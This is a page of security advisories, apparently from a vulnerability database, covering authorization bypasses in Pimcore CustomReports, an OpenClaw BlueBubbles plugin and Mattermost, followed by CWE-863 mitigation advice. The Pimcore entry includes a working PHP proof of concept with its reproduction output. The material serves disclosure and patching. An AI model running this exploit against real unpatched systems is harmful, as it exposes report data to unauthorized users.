    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

  1. Create a low-privileged user named auditor_customreports with the reports permission.
  2. Create a report named poc-secret-report with:
  3. shareGlobally = false
  4. sharedUserNames = ['admin']
  5. As auditor_customreports, request the visible report list and verify that poc-secret-report is absent.
  6. As the same user, call getAction(name=poc-secret-report) directly.
  7. Verify that the response still contains the report configuration.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "customreports_share_bypass",
  "user": {
    "name": "auditor_customreports",
    "permissions": [
      "reports"
    ]
  },
  "target_report": {
    "name": "poc-secret-report",
    "shared_to": [
      "admin"
    ],
    "share_globally": false
  },
  "result": {
    "report_visible_in_list": false,
    "listed_report_names": [],
    "direct_get_returned_name": "poc-secret-report",
    "direct_get_shared_user_names": [
      "admin"
    ]
  }
}

This shows that:

  • The current user cannot see the report in the visible report list
  • The same user can still retrieve the report configuration directly

This confirms that the share-bypass issue is practically exploitable.

Security Impact

  • Unauthorized disclosure of report configuration
  • Disclosure of sharing scope and internal report structure
  • Potential leakage of data-source and query organization details
  • Useful reconnaissance for follow-on unauthorized execution or export paths

Remediation

  1. Add object-level sharing checks to getAction() equivalent to loadForGivenUser().
  2. Centralize authorization into a single "can current user access this report?" function reused by get, data, chart, create-csv, and download-csv.
  3. Return 403 for unshared reports.
  4. Add regression tests to ensure that users with reports permission but without report-sharing access cannot retrieve report details.
Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0-RC1"
            },
            {
              "fixed": "12.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.5.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:34:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint.\n\n- The listing flow filters reports based on report-sharing rules\n- The detail flow only checks generic `reports` or `reports_config` permissions\n\nAs a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user\u0027s visible report list.\n\nIn the local Docker reproduction:\n\n- The report `poc-secret-report` was not visible to the low-privileged user in the report list\n- The same user was still able to retrieve the report configuration directly by name\n\n### Root Cause\n\nThe listing flow in `getReportConfigAction()` filters reports through `loadForGivenUser()`:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)#L245)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)\n- [[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)#L44)\n- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)\n\nHowever, `getAction()` only checks generic permissions and then loads the report directly by name:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)#L146)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)#L149)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)\n\nThis means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic \"not visible in list, but readable by direct request\" access-control bypass.\n\n### Impact\n\nAn attacker can read sensitive report metadata without authorization, including:\n\n- Report name\n- Grouping information\n- Display and icon metadata\n- Data source configuration\n- Column configuration\n- Sharing settings\n\nFrom the source code, other report endpoints such as `data`, `chart`, `create-csv`, and `download-csv` also resolve reports by name in a similar way:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)#L275)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)\n\nThis report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `reports` permission\n- The target report is not globally shared and is not shared with that user or the user\u0027s roles\n\n### PoC\n\n```php\n\u003c?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\CustomReportsBundle\\Controller\\Reports\\CustomReportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Model\\Tool\\SettingsStore;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . \u0027/vendor/autoload.php\u0027;\n\ndefine(\u0027PIMCORE_PROJECT_ROOT\u0027, dirname(__DIR__));\n\ntry {\n    \\Pimcore\\Bootstrap::bootstrap();\n\n    $kernel = new \\App\\Kernel(\u0027dev\u0027, true);\n    \\Pimcore::setKernel($kernel);\n    $kernel-\u003eboot();\n\n    $container = $kernel-\u003egetContainer();\n\n    /** @var RequestStack $requestStack */\n    $requestStack = getService($container, [\n        RequestStack::class,\n        \u0027request_stack\u0027,\n    ]);\n\n    $admin = User::getByName(\u0027admin\u0027);\n    if (!$admin instanceof User) {\n        fail(\u0027admin user is missing\u0027);\n    }\n\n    $auditor = User::getByName(\u0027auditor_customreports\u0027);\n    if (!$auditor instanceof User) {\n        $auditor = new User();\n        $auditor-\u003esetParentId(0);\n        $auditor-\u003esetName(\u0027auditor_customreports\u0027);\n    }\n\n    $auditor-\u003esetAdmin(false);\n    $auditor-\u003esetActive(true);\n    $auditor-\u003esetPassword(Authentication::getPasswordHash(\u0027auditor_customreports\u0027, \u0027auditor-pass\u0027));\n    $auditor-\u003esetPermissions([\u0027reports\u0027]);\n    $auditor-\u003esetRoles([]);\n    $auditor-\u003esave();\n\n    $timestamp = time();\n    SettingsStore::set(\n        \u0027poc-secret-report\u0027,\n        json_encode([\n            \u0027name\u0027 =\u003e \u0027poc-secret-report\u0027,\n            \u0027niceName\u0027 =\u003e \u0027PoC Secret Report\u0027,\n            \u0027group\u0027 =\u003e \u0027Audit\u0027,\n            \u0027dataSourceConfig\u0027 =\u003e [[\u0027type\u0027 =\u003e \u0027sql\u0027]],\n            \u0027columnConfiguration\u0027 =\u003e [],\n            \u0027shareGlobally\u0027 =\u003e false,\n            \u0027sharedUserNames\u0027 =\u003e [\u0027admin\u0027],\n            \u0027sharedRoleNames\u0027 =\u003e [],\n            \u0027menuShortcut\u0027 =\u003e true,\n            \u0027creationDate\u0027 =\u003e $timestamp,\n            \u0027modificationDate\u0027 =\u003e $timestamp,\n        ], JSON_THROW_ON_ERROR),\n        SettingsStore::TYPE_STRING,\n        \u0027pimcore_custom_reports\u0027\n    );\n\n    $tokenResolver = buildTokenResolver($auditor);\n    $controller = wireController(new CustomReportController(), $container, $tokenResolver);\n\n    $listRequest = new Request();\n    $requestStack-\u003epush($listRequest);\n    $listResponse = $controller-\u003egetReportConfigAction($listRequest);\n    $requestStack-\u003epop();\n    $listData = json_decode($listResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $getRequest = new Request([\u0027name\u0027 =\u003e \u0027poc-secret-report\u0027]);\n    $requestStack-\u003epush($getRequest);\n    $getResponse = $controller-\u003egetAction($getRequest);\n    $requestStack-\u003epop();\n    $getData = json_decode($getResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $listedNames = array_map(static fn (array $item): string =\u003e $item[\u0027name\u0027], $listData[\u0027reports\u0027] ?? []);\n\n    echo json_encode([\n        \u0027vulnerability\u0027 =\u003e \u0027customreports_share_bypass\u0027,\n        \u0027user\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $auditor-\u003egetId(),\n            \u0027name\u0027 =\u003e $auditor-\u003egetName(),\n            \u0027permissions\u0027 =\u003e $auditor-\u003egetPermissions(),\n        ],\n        \u0027target_report\u0027 =\u003e [\n            \u0027name\u0027 =\u003e \u0027poc-secret-report\u0027,\n            \u0027shared_to\u0027 =\u003e [\u0027admin\u0027],\n            \u0027share_globally\u0027 =\u003e false,\n        ],\n        \u0027result\u0027 =\u003e [\n            \u0027report_visible_in_list\u0027 =\u003e in_array(\u0027poc-secret-report\u0027, $listedNames, true),\n            \u0027listed_report_names\u0027 =\u003e $listedNames,\n            \u0027direct_get_returned_name\u0027 =\u003e $getData[\u0027name\u0027] ?? null,\n            \u0027direct_get_shared_user_names\u0027 =\u003e $getData[\u0027sharedUserNames\u0027] ?? null,\n        ],\n    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n    fail(sprintf(\n        \u0027%s: %s in %s:%d%s\u0027,\n        $e::class,\n        $e-\u003egetMessage(),\n        $e-\u003egetFile(),\n        $e-\u003egetLine(),\n        $e-\u003egetTraceAsString() ? PHP_EOL . $e-\u003egetTraceAsString() : \u0027\u0027\n    ));\n}\n\nfunction wireController(\n    UserAwareController $controller,\n    ContainerInterface $container,\n    TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n    $controller-\u003esetContainer($container);\n    $controller-\u003esetTokenResolver($tokenResolver);\n\n    if (method_exists($controller, \u0027setPimcoreSerializer\u0027)) {\n        /** @var PimcoreSerializer $serializer */\n        $serializer = getService($container, [\n            PimcoreSerializer::class,\n            \u0027Pimcore\\\\Serializer\\\\Serializer\u0027,\n        ]);\n        $controller-\u003esetPimcoreSerializer($serializer);\n    }\n\n    return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n    $tokenStorage = new TokenStorage();\n    $proxyUser = new SecurityUser($user);\n    $token = new UsernamePasswordToken($proxyUser, \u0027pimcore_admin\u0027, $proxyUser-\u003egetRoles());\n    $tokenStorage-\u003esetToken($token);\n\n    return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n    foreach ($ids as $id) {\n        try {\n            if ($container-\u003ehas($id)) {\n                return $container-\u003eget($id);\n            }\n        } catch (Throwable) {\n        }\n    }\n\n    fail(\u0027Unable to resolve service: \u0027 . implode(\u0027, \u0027, $ids));\n}\n\nfunction fail(string $message): never\n{\n    fwrite(STDERR, $message . PHP_EOL);\n    exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_customreports` with the `reports` permission.\n2. Create a report named `poc-secret-report` with:\n   - `shareGlobally = false`\n   - `sharedUserNames = [\u0027admin\u0027]`\n3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent.\n4. As the same user, call `getAction(name=poc-secret-report)` directly.\n5. Verify that the response still contains the report configuration.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php poc_customreports.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n  \"vulnerability\": \"customreports_share_bypass\",\n  \"user\": {\n    \"name\": \"auditor_customreports\",\n    \"permissions\": [\n      \"reports\"\n    ]\n  },\n  \"target_report\": {\n    \"name\": \"poc-secret-report\",\n    \"shared_to\": [\n      \"admin\"\n    ],\n    \"share_globally\": false\n  },\n  \"result\": {\n    \"report_visible_in_list\": false,\n    \"listed_report_names\": [],\n    \"direct_get_returned_name\": \"poc-secret-report\",\n    \"direct_get_shared_user_names\": [\n      \"admin\"\n    ]\n  }\n}\n```\n\nThis shows that:\n\n- The current user cannot see the report in the visible report list\n- The same user can still retrieve the report configuration directly\n\nThis confirms that the share-bypass issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of report configuration\n- Disclosure of sharing scope and internal report structure\n- Potential leakage of data-source and query organization details\n- Useful reconnaissance for follow-on unauthorized execution or export paths\n\n### Remediation\n\n1. Add object-level sharing checks to `getAction()` equivalent to `loadForGivenUser()`.\n2. Centralize authorization into a single \"can current user access this report?\" function reused by `get`, `data`, `chart`, `create-csv`, and `download-csv`.\n3. Return `403` for unshared reports.\n4. Add regression tests to ensure that users with `reports` permission but without report-sharing access cannot retrieve report details.",
  "id": "GHSA-jwcc-gv4m-93x6",
  "modified": "2026-07-10T19:07:34Z",
  "published": "2026-05-27T22:34:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/pull/19099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pimcore has a CustomReports Share Bypass"
}

GHSA-JWF4-8WF4-JF2M

Vulnerability from github – Published: 2026-03-04 19:44 – Updated: 2026-03-18 21:52
VLAI
Summary
OpenClaw: BlueBubbles (optional plugin) pairing/allowlist mismatch when allowFrom is empty
Details

Summary

BlueBubbles is an optional OpenClaw channel plugin. A configuration-sensitive access-control mismatch allowed DM senders to be treated as authorized when dmPolicy was pairing or allowlist and allowFrom was empty/unset.

Severity Rationale (Medium)

Severity is set to medium because: - this affects an optional plugin, not core messaging surfaces; - many deployments use owner-controlled/private BlueBubbles identities with limited external reachability; - practical exploitability depends on an untrusted sender being able to reach that specific BlueBubbles account identifier.

In typical personal/self-hosted BlueBubbles setups, the mapped Apple identity is single-owner and not broadly reachable, so this is usually low practical risk.

Risk is higher in deployments where the identifier is publicly reachable and/or agent tool permissions are broad.

Technical Details

  1. BlueBubbles DM policy defaults to pairing (dmPolicy ?? "pairing").
  2. Effective allowlist can be empty (effectiveAllowFrom).
  3. DM/reaction authorization called isAllowedBlueBubblesSender(...).
  4. That delegated to shared isAllowedParsedChatSender(...), which previously returned true for empty allowlists.
  5. Result: unknown senders could bypass intended pairing/allowlist gating when allowFrom was empty.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Vulnerable versions: <= 2026.2.21-2
  • Planned fixed version: 2026.2.22

Fix

The shared parsed-chat allowlist helper now fails closed on empty allowlists, restoring expected BlueBubbles DM gating behavior. BlueBubbles inbound gating was also refactored to use one shared DM/group decision helper for both message and reaction paths to reduce future drift.

Fix Commit(s)

  • 9632b9bcf032c5f2280c3103961fde912ab1f920
  • 2ba6de7eaad812e5e8603018e14e54e96bdd57dd
  • 51c0893673de8e5cea64e64351dbfa4680ba0dec
  • 4540790cb62412676f7b61cfc6e47443f84a251e

OpenClaw thanks @tdjackey for reporting.

Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22170"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T19:44:50Z",
    "nvd_published_at": "2026-03-18T02:16:21Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBlueBubbles is an optional OpenClaw channel plugin. A configuration-sensitive access-control mismatch allowed DM senders to be treated as authorized when `dmPolicy` was `pairing` or `allowlist` and `allowFrom` was empty/unset.\n\n### Severity Rationale (Medium)\nSeverity is set to **medium** because:\n- this affects an optional plugin, not core messaging surfaces;\n- many deployments use owner-controlled/private BlueBubbles identities with limited external reachability;\n- practical exploitability depends on an untrusted sender being able to reach that specific BlueBubbles account identifier.\n\nIn typical personal/self-hosted BlueBubbles setups, the mapped Apple identity is single-owner and not broadly reachable, so this is usually low practical risk.\n\nRisk is higher in deployments where the identifier is publicly reachable and/or agent tool permissions are broad.\n\n### Technical Details\n1. BlueBubbles DM policy defaults to `pairing` (`dmPolicy ?? \"pairing\"`).\n2. Effective allowlist can be empty (`effectiveAllowFrom`).\n3. DM/reaction authorization called `isAllowedBlueBubblesSender(...)`.\n4. That delegated to shared `isAllowedParsedChatSender(...)`, which previously returned `true` for empty allowlists.\n5. Result: unknown senders could bypass intended pairing/allowlist gating when `allowFrom` was empty.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Vulnerable versions: `\u003c= 2026.2.21-2`\n- Planned fixed version: `2026.2.22`\n\n### Fix\nThe shared parsed-chat allowlist helper now fails closed on empty allowlists, restoring expected BlueBubbles DM gating behavior. BlueBubbles inbound gating was also refactored to use one shared DM/group decision helper for both message and reaction paths to reduce future drift.\n\n### Fix Commit(s)\n- `9632b9bcf032c5f2280c3103961fde912ab1f920`\n- `2ba6de7eaad812e5e8603018e14e54e96bdd57dd`\n- `51c0893673de8e5cea64e64351dbfa4680ba0dec`\n- `4540790cb62412676f7b61cfc6e47443f84a251e`\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-jwf4-8wf4-jf2m",
  "modified": "2026-03-18T21:52:51Z",
  "published": "2026-03-04T19:44:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jwf4-8wf4-jf2m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22170"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/2ba6de7eaad812e5e8603018e14e54e96bdd57dd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/4540790cb62412676f7b61cfc6e47443f84a251e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/51c0893673de8e5cea64e64351dbfa4680ba0dec"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/9632b9bcf032c5f2280c3103961fde912ab1f920"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-bluebubbles-access-control-bypass-via-empty-allowfrom-configuration"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: BlueBubbles (optional plugin) pairing/allowlist mismatch when allowFrom is empty"
}

GHSA-JWHW-XF5V-QGXC

Vulnerability from github – Published: 2025-06-11 12:30 – Updated: 2025-06-11 15:44
VLAI
Summary
Mattermost allows guest users to view information about public teams they are not members of
Details

Mattermost versions 10.5.x <= 10.5.4, 9.11.x <= 9.11.13 fail to properly restrict API access to team information, allowing guest users to bypass permissions and view information about public teams they are not members of via a direct API call to /api/v4/teams/{team_id}.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250422131222-701ddc896a10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-4128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-11T15:44:39Z",
    "nvd_published_at": "2025-06-11T11:15:23Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 10.5.x \u003c= 10.5.4, 9.11.x \u003c= 9.11.13 fail to properly restrict API access to team information, allowing guest users to bypass permissions and view information about public teams they are not members of via a direct API call to /api/v4/teams/{team_id}.",
  "id": "GHSA-jwhw-xf5v-qgxc",
  "modified": "2025-06-11T15:44:39Z",
  "published": "2025-06-11T12:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/2138a5f2ca6f75e2b99f6a04ea569d0f680c4fab"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/701ddc896a107b13f457fbdbe229bce5019fc516"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost allows guest users to view information about public teams they are not members of"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list